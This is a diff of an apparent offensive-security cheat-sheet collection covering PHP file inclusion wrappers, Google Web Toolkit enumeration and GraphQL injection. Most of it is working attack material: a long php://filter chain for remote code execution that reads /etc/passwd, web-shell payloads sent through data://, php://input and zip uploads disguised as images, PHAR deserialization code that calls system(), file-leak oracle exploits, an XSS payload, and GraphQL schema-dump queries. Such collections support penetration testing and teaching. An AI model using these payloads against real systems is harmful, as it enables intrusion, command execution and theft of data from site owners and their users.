curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Wrapper data://
|
||||||
|
|
||||||
|
The payload encoded in base64 is "`<?php system($_GET['cmd']);echo 'Shell done !'; ?>`".
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||||
|
```
|
||||||
|
|
||||||
|
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
||||||
|
|
||||||
|
|
||||||
|
## Wrapper expect://
|
||||||
|
|
||||||
|
When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the `expect://` wrapper can invoke shell commands as part of its input.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=expect://id
|
||||||
|
http://example.com/index.php?page=expect://ls
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Wrapper input://
|
||||||
|
|
||||||
|
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternatively, Kadimus has a module to automate this attack.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
|
||||||
|
```
|
||||||
|
|
||||||
|
## Wrapper zip://
|
||||||
|
|
||||||
|
1. Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
|
||||||
|
2. Zip the file
|
||||||
|
```python
|
||||||
|
zip payload.zip payload.php;
|
||||||
|
mv payload.zip shell.jpg;
|
||||||
|
rm payload.php
|
||||||
|
```
|
||||||
|
3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||||||
|
|
||||||
|
|
||||||
|
## Wrapper phar://
|
||||||
|
|
||||||
|
### PHAR archive structure
|
||||||
|
|
||||||
|
PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
|
||||||
|
|
||||||
|
1. Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$phar = new Phar('archive.phar');
|
||||||
|
$phar->startBuffering();
|
||||||
|
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
|
||||||
|
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
||||||
|
$phar->stopBuffering();
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
|
||||||
|
|
||||||
|
|
||||||
|
### PHAR deserialization
|
||||||
|
|
||||||
|
:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
|
||||||
|
|
||||||
|
If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
|
||||||
|
|
||||||
|
This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`.
|
||||||
|
Let's take this `AnyClass` class as example, which execute the parameter data.
|
||||||
|
|
||||||
|
```php
|
||||||
|
class AnyClass {
|
||||||
|
public $data = null;
|
||||||
|
public function __construct($data) {
|
||||||
|
$this->data = $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
function __destruct() {
|
||||||
|
system($this->data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
...
|
||||||
|
echo file_exists($_GET['page']);
|
||||||
|
```
|
||||||
|
|
||||||
|
We can craft a phar archive containing a serialized object in its meta-data.
|
||||||
|
|
||||||
|
```php
|
||||||
|
// create new Phar
|
||||||
|
$phar = new Phar('deser.phar');
|
||||||
|
$phar->startBuffering();
|
||||||
|
$phar->addFromString('test.txt', 'text');
|
||||||
|
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
||||||
|
|
||||||
|
// add object of any class as meta data
|
||||||
|
class AnyClass {
|
||||||
|
public $data = null;
|
||||||
|
public function __construct($data) {
|
||||||
|
$this->data = $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
function __destruct() {
|
||||||
|
system($this->data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$object = new AnyClass('whoami');
|
||||||
|
$phar->setMetadata($object);
|
||||||
|
$phar->stopBuffering();
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar`
|
||||||
|
|
||||||
|
NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff`
|
||||||
|
|
||||||
|
```php
|
||||||
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Wrapper convert.iconv:// and dechunk://
|
||||||
|
|
||||||
|
### Leak file content from error-based oracle
|
||||||
|
|
||||||
|
- `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`)
|
||||||
|
- `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
|
||||||
|
|
||||||
|
The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup.
|
||||||
|
|
||||||
|
**Requirements**:
|
||||||
|
|
||||||
|
- Backend must not use `file_exists` or `is_file`.
|
||||||
|
- Vulnerable parameter should be in a `POST` request.
|
||||||
|
- You can't leak more than 135 characters in a GET request due to the size limit
|
||||||
|
|
||||||
|
The exploit chain is based on PHP filters: `iconv` and `dechunk`:
|
||||||
|
|
||||||
|
1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
|
||||||
|
2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
|
||||||
|
3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
|
||||||
|
|
||||||
|
|
||||||
|
Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
|
||||||
|
[*] The following URL is targeted : http://127.0.0.1
|
||||||
|
[*] The following local file is leaked : /test
|
||||||
|
[*] Running POST requests
|
||||||
|
[+] File /test leak is finished!
|
||||||
|
```
|
||||||
|
|
||||||
|
### Leak file content inside a custom format output
|
||||||
|
|
||||||
|
* [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
|
||||||
|
|
||||||
|
To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
|
||||||
|
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
|
||||||
|
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
|
||||||
|
```
|
||||||
|
|
||||||
|
This can be used against vulnerable code like the following.
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$data = file_get_contents($_POST['url']);
|
||||||
|
$data = json_decode($data);
|
||||||
|
echo $data->message;
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
|
||||||
|
* [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
|
||||||
|
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
|
||||||
|
* [It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - Aug 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
||||||
|
* [New PHP Exploitation Technique - Dr. Johannes Dahse - 14 Aug 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
||||||
|
* [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - 14 June 2024](https://youtu.be/dqKFHjcK9hM)
|
||||||
|
* [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
|
||||||
|
* [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||||
|
* [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - Dec 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
|
||||||
55
Google Web Toolkit/README.md
Normal file
55
Google Web Toolkit/README.md
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
# Google Web Toolkit
|
||||||
|
|
||||||
|
> Google Web Toolkit (GWT), also known as GWT Web Toolkit, is an open-source set of tools that allows web developers to create and maintain JavaScript front-end applications using Java. It was originally developed by Google and had its initial release on May 16, 2006.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) - GWTMap is a tool to help map the attack surface of Google Web Toolkit (GWT) based applications.
|
||||||
|
* [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) - A set of tools made to assist in penetration testing GWT applications.
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
* Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random):
|
||||||
|
```ps1
|
||||||
|
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup
|
||||||
|
```
|
||||||
|
* Enumerate the methods of a remote application via a specific code permutation
|
||||||
|
```ps1
|
||||||
|
./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
|
||||||
|
```
|
||||||
|
* Enumerate the methods whilst routing traffic through an HTTP proxy:
|
||||||
|
```ps1
|
||||||
|
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080
|
||||||
|
```
|
||||||
|
* Enumerate the methods of a local copy (a file) of any given permutation:
|
||||||
|
```ps1
|
||||||
|
./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
|
||||||
|
```
|
||||||
|
* Filter output to a specific service or method:
|
||||||
|
```ps1
|
||||||
|
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login
|
||||||
|
```
|
||||||
|
* Generate RPC payloads for all methods of the filtered service, with coloured output
|
||||||
|
```ps1
|
||||||
|
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color
|
||||||
|
```
|
||||||
|
* Automatically test (probe) the generate RPC request for the filtered service method
|
||||||
|
```ps1
|
||||||
|
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
|
||||||
|
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - Stevent Seeley - May 22, 2017](https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)
|
||||||
|
- [Hacking a Google Web Toolkit application - thehackerish - April 22, 2021](https://thehackerish.com/hacking-a-google-web-toolkit-application/)
|
||||||
@@ -1,41 +1,69 @@
|
|||||||
# GraphQL injection
|
# GraphQL Injection
|
||||||
|
|
||||||
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
|
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
- [Tools](#tools)
|
||||||
* [Exploit](#exploit)
|
- [Enumeration](#enumeration)
|
||||||
* [Identify an injection point](#identify-an-injection-point)
|
- [Common GraphQL Endpoints](#common-graphql-endpoints)
|
||||||
* [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection)
|
- [Identify An Injection Point](#identify-an-injection-point)
|
||||||
* [Extract data](#extract-data)
|
- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
|
||||||
* [Extract data using edges/nodes](#extract-data-using-edges-nodes)
|
- [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
|
||||||
* [Extract data using projections](#extract-data-using-projections)
|
- [Enumerate Types Definition](#enumerate-types-definition)
|
||||||
* [Enumerate the types' definition](#enumerate-the-type-definition)
|
- [List Path To Reach A Type](#list-path-to-reach-a-type)
|
||||||
* [Use mutations](#use-mutations)
|
- [Methodology](#methodology)
|
||||||
* [NOSQL injection](#nosql-injection)
|
- [Extract Data](#extract-data)
|
||||||
* [SQL injection](#sql-injection)
|
- [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)
|
||||||
* [GraphQL Batching Attacks](#graphql-batching-attacks)
|
- [Extract Data Using Projections](#extract-data-using-projections)
|
||||||
* [References](#references)
|
- [Mutations](#mutations)
|
||||||
|
- [GraphQL Batching Attacks](#graphql-batching-attacks)
|
||||||
|
- [JSON List Based Batching](#json-list-based-batching)
|
||||||
|
- [Query Name Based Batching](#query-name-based-batching)
|
||||||
|
- [Injections](#injections)
|
||||||
|
- [NOSQL Injection](#nosql-injection)
|
||||||
|
- [SQL Injection](#sql-injection)
|
||||||
|
- [Labs](#labs)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
|
* [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
|
||||||
* [GraphQL-voyager - Represent any GraphQL API as an interactive graph](https://apis.guru/graphql-voyager/)
|
* [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
|
||||||
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
|
* [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
|
||||||
* [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum)
|
* [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
|
||||||
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
|
* [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
|
||||||
* [ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection](https://github.com/mchoji/clairvoyancex)
|
* [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
|
||||||
* [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql)
|
* [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
|
||||||
* [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/)
|
* [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
|
||||||
* [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/)
|
* [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
|
||||||
|
* [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
|
||||||
|
* [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
|
||||||
|
* [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
|
||||||
|
|
||||||
## Exploit
|
|
||||||
|
|
||||||
### Identify an injection point
|
## Enumeration
|
||||||
|
|
||||||
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
|
### Common GraphQL Endpoints
|
||||||
|
|
||||||
|
Most of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint.
|
||||||
|
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
/v1/explorer
|
||||||
|
/v1/graphiql
|
||||||
|
/graph
|
||||||
|
/graphql
|
||||||
|
/graphql/console/
|
||||||
|
/graphql.php
|
||||||
|
/graphiql
|
||||||
|
/graphiql.php
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Identify An Injection Point
|
||||||
|
|
||||||
```js
|
```js
|
||||||
example.com/graphql?query={__schema{types{name}}}
|
example.com/graphql?query={__schema{types{name}}}
|
||||||
@@ -158,13 +186,41 @@ query IntrospectionQuery {
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Single line query to dump the database schema without fragments.
|
Single line queries to dump the database schema without fragments.
|
||||||
|
|
||||||
```js
|
```js
|
||||||
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
|
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
|
||||||
```
|
```
|
||||||
|
|
||||||
### List path
|
```js
|
||||||
|
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Enumerate Database Schema via Suggestions
|
||||||
|
|
||||||
|
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Enumerate Types Definition
|
||||||
|
|
||||||
|
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### List Path To Reach A Type
|
||||||
|
|
||||||
```php
|
```php
|
||||||
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
$ git clone https://gitlab.com/dee-see/graphql-path-enum
|
||||||
@@ -187,7 +243,10 @@ Found 27 ways to reach the "Skill" node from the "Query" node:
|
|||||||
- Query (query) -> Query (skills) -> Skill
|
- Query (query) -> Query (skills) -> Skill
|
||||||
```
|
```
|
||||||
|
|
||||||
### Extract data
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
### Extract Data
|
||||||
|
|
||||||
```js
|
```js
|
||||||
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
||||||
@@ -197,7 +256,7 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Extract data using edges/nodes
|
### Extract Data Using Edges/Nodes
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
@@ -213,24 +272,16 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Extract data using projections
|
### Extract Data Using Projections
|
||||||
|
|
||||||
:warning: Don’t forget to escape the " inside the **options**.
|
:warning: Don’t forget to escape the " inside the **options**.
|
||||||
|
|
||||||
```json
|
